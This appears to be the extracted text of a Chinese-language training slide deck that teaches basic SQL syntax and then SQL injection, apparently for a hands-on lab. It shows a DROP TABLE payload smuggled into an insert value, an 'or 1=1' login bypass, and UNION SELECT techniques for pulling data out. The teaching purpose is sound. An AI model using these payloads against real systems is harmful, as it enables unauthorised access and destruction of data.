NISRA 107 年度核心幹部
108 年度行政院網路攻防演練攻擊手
AIS3 2018/2019/2020 學員
Chess Kuo
誰 我 敢 會 說 跟 這 他 是 決 軟 鬥 體
Database
Tables
Column
Create
Read
Update
Delete
bit.ly/sqli_vm
需安裝 Extension Pack
VM:
CREATE TABLE <tb_name> (
<col_name1> type,
<col_name2> type,
<col_name3> type,
...
)
CHAR(4) | VARCHAR(4) | |
---|---|---|
' ' | ' ' | ' ' |
'ab' | 'ab ' | 'ab' |
'abcd' | 'abcd' | 'abcd' |
'abcdefg' | 'abcd' | 'abcd' |
col_name | type |
---|---|
id | INT |
name | 長度 10 的字串 |
birth | DATE |
指定欄位
SELECT <col>[, <col> ...]
FROM <tb>
SELECT * FROM <tb>
SELECT * FROM <tb> WHERE <condition>
SELECT * FROM employees WHERE birth_date >= date('1960-01-01')
SELECT * FROM <tb> WHERE <condition> OR/AND <condition>
SELECT * FROM <tb> ORDER BY <col>
SELECT * FROM <tb> ORDER BY birth_date
SELECT * FROM <tb> ORDER BY birth_date DESC
SELECT * FROM <tb> LIMIT from, n
SELECT * FROM employees LIMIT 5, 3
SELECT * FROM <tb> UNION SELECT * FROM <tb>
a | b |
---|---|
1 | 2 |
a | b |
---|---|
3 | 4 |
SELECT 1, 2
SELECT 3, 4
UNION
SELECT 1, 2
SELECT 3, 4
UNION
a | b |
---|---|
1 | 2 |
3 | 4 |
指定欄位
INSERT INTO <tb>(<col>)
VALUES (<val>)
全部欄位都要給值
INSERT INTO <tb>
VALUES (<val>, ...)
DELETE FROM <tb>
WHERE <condition>
UPDATE <tb>
SET <col>=<val>, ...
WHERE <condition>
INSERT INTO `Students`(name)
VALUES('XXX')
Robert'); DROP TABLE Students;--
INSERT INTO `Students`(name) VALUES('Robert'); DROP TABLE Students;-- ')
INSERT INTO `Students`(name) VALUES('Robert'); DROP TABLE Students;-- ')
SELECT *
FROM users
WHERE user='$user' AND pass='$pass'
SELECT *
FROM users
WHERE user='xxx' AND pass='bbb'
SELECT *
FROM users
WHERE user='xxx' or 1=1#--' AND pass=''
hint : 多行註解
SELECT 1, 2
SELECT 3, 4
UNION
a | b |
---|---|
1 | 2 |
3 | 4 |
SELECT * FROM employees WHERE <condition>
UNION
SELECT 1, 2, 3, 4, ...
emp_no | birth_date | first_name | last_name | ... |
---|---|---|---|---|
1001 | 1953-09-02 | Georgi | Facello | |
1002 | 1964-06-02 | Bezalel | Simmel | |
... | ||||
1 | 2 | 3 | 4 | ... |
SELECT * FROM employees WHERE <condition = false>
UNION
SELECT 1, 2, 3, 4, ...
emp_no | birth_date | first_name | last_name | ... |
---|---|---|---|---|
1 | 2 | 3 | 4 |
hint : GROUP_CONCAT()